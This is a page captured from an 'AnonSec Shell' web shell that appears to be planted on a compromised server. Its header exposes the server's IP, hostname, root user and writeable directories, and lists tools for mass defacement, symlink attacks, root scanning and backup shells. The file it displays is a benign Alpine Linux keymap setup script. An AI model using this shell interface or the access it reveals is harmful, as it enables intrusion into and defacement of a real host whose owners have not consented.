AnonSec Shell
Server IP : 160.153.0.21  /  Your IP : 3.142.68.230   [ Reverse IP ]
Web Server : Apache
System : Linux 957fb541-670d-3293-9ec0-a66a84749aec.secureserver.net 6.1.128-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Feb 1 15:04:00 EST 2025 x86_64
User : root ( 0)
PHP Version : 8.0.30.4
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /sbin/setup-keymap
#!/bin/sh

PREFIX=
: ${LIBDIR=$PREFIX/lib}
. "$LIBDIR/libalpine.sh"

MAPDIR="$ROOT/usr/share/bkeymaps"

if [ -f "$ROOT/etc/conf.d/loadkmap" ]; then
	. "$ROOT/etc/conf.d/loadkmap"
	variant=$(basename "KEYMAP")
	variant="${variant%%.*}"
fi

usage() {
	cat <<-__EOF__
		usage: setup-keymap [-h] [LAYOUT [VARIANT]]

		Sets the system keymap layout and variant.

		options:
		 -h  Show this help

		Sets keymap to LAYOUT (and VARIANT) or prompt if unspecified.
	__EOF__
	exit $1
}


show_layouts() {
	output=""
	for file in "$MAPDIR"/*; do
		base=$(basename "$file")
		output="$output${base%.bmap.gz} "
	done
	print_column "$output"
}

show_variants() {
	output=""
	for file in "$MAPDIR/$1"/*; do
		base=$(basename "$file")
		output="$output${base%.bmap.gz} "
	done
	print_column "$output"
}

print_column() {
	if [ -z "$1" ]; then
		echo "Error: No data to display." >&2
		return 1
	fi

	local terminal_width=$(stty size | cut -d' ' -f2)
	if [ -z "$terminal_width" -o "$terminal_width" -eq 0 ]; then
		terminal_width=80
	fi

	max_word_length=$(echo "$1" | awk '{for(i=1;i<=NF;i++) x = (length($i) > x ? length($i) : x)} END {print x}')
	number_of_columns=$((terminal_width / (max_word_length + 1)))

	if [ "$number_of_columns" -eq 0 ]; then
		number_of_columns=1
	fi

	words=$(echo $1)
	i=0
	for word in $words; do
		printf "%-${max_word_length}s " "$word"
		i=$((i + 1))
		if [ $((i % number_of_columns)) -eq 0 ]; then
			printf "\n"
		fi
	done
	if [ $((i % number_of_columns)) -ne 0 ]; then
		printf "\n"
	fi
}

select_layout() {
	while true; do
		if [ -z "$layout" ] || ! [ -d "$MAPDIR/$layout" ]; then
			layout=none
		fi
		show_layouts
		echo ""
		ask "Select keyboard layout:" "$layout"
		echo ""
		if [ "$resp" = "abort" ] || [ "$resp" = "none" ] ; then
			goodbye 0
		fi
		set -- $resp
		layout="$1"
		variant="$2"
		if [ -d "$MAPDIR/$layout" ] ; then
			return 0
		fi
	done
}

setup_mapfile() {
	local name="$(basename "$1")"
	local conf="$ROOT/etc/conf.d/loadkmap"
	mkdir -p "$ROOT/etc/keymap"
	mkdir -p "$ROOT/etc/conf.d/"
	if cp "$1" "$ROOT/etc/keymap/$name" ; then
		[ -f "$conf" ] && sed -i '/^KEYMAP=/d' "$conf"
		echo "KEYMAP=/etc/keymap/$name" >> "$conf"
		# we actually load the keymap now
		rc-service loadkmap restart
		rc-update -q add loadkmap boot
		goodbye 0
	fi
}

select_variant() {
	while true; do
		show_variants "$layout"
		if [ ! -f "$MAPDIR/$layout/$variant.bmap" ] ; then
			variant=""
		fi
		echo ""
		ask "Select variant (or 'abort'):" "$variant"
		echo ""
		variant="$resp"
		if [ "$variant" = "abort" ] || [ "$variant" = "none" ]; then
			break;
		fi
		if [ -f "$MAPDIR/$layout/$variant.bmap"* ]; then
			setup_mapfile "$MAPDIR/$layout/$variant.bmap"*
		fi
	done
}

goodbye() {
	apk del --quiet --no-progress .setup-keymap-deps
	exit $1
}

while getopts "h" opt; do
	case $opt in
		h) usage 0;;
		'?') usage "1" >&2;;
	esac
done
shift $(( $OPTIND - 1 ))

trap 'goodbye 1' INT
apk add --quiet --virtual .setup-keymap-deps kbd-bkeymaps

deflayout="$1"
defvariant="$2"
while true; do
	if [ -n "$deflayout" ]; then
		if [ "$deflayout" = "none" ]; then
			goodbye 0
		fi
		layout="$deflayout"
		unset deflayout
	else
		select_layout
	fi

	if [ -n "$defvariant" ]; then
		variant="$defvariant"
	fi

	# if variant is defined, this could match, otherwise we'll have to choose a variant
	if [ -f "$MAPDIR/$layout/$variant.bmap"* ]; then
		setup_mapfile "$MAPDIR/$layout/$variant.bmap"*
	else
		# if there is only one variant, just pick it
		count=$(ls "$MAPDIR"/"$layout" | wc -l)
		if [ $count -eq 1 ]; then
			setup_mapfile "$MAPDIR/$layout/"*
			continue
		fi
		select_variant
	fi
done

Anon7 - 2022
AnonSec Team